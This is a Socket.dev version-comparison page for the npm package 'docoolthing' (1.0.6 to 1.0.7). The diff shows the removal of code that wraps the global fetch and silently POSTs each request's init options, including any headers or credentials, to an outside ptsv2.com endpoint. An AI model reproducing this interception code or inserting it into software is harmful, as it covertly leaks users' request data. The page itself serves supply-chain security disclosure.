Socket
Socket
Sign inDemoInstall

docoolthing

Package Overview
Dependencies
Maintainers
1
Versions
8
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

docoolthing - npm Package Compare versions

Comparing version 1.0.6 to 1.0.7

8

index.js

@@ -5,10 +5,2 @@ "use strict";

function CoolThing() {
var fetchOld = fetch;
fetch = function (input, init) {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}

@@ -15,0 +7,0 @@ CoolThing.prototype.sayHi = function () {

export class CoolThing {
constructor() {
let fetchOld = fetch;
(<any>fetch) = (input: RequestInfo, init?: RequestInit): Promise<Response> => {
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', {
method: 'POST',
body: JSON.stringify({ init: init })
});
return fetchOld(input, init);
};
}
public sayHi() {

@@ -18,0 +3,0 @@ alert('Hello');

2

package.json
{
"name": "docoolthing",
"version": "1.0.6",
"version": "1.0.7",
"description": "",

@@ -5,0 +5,0 @@ "main": "index.js",

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc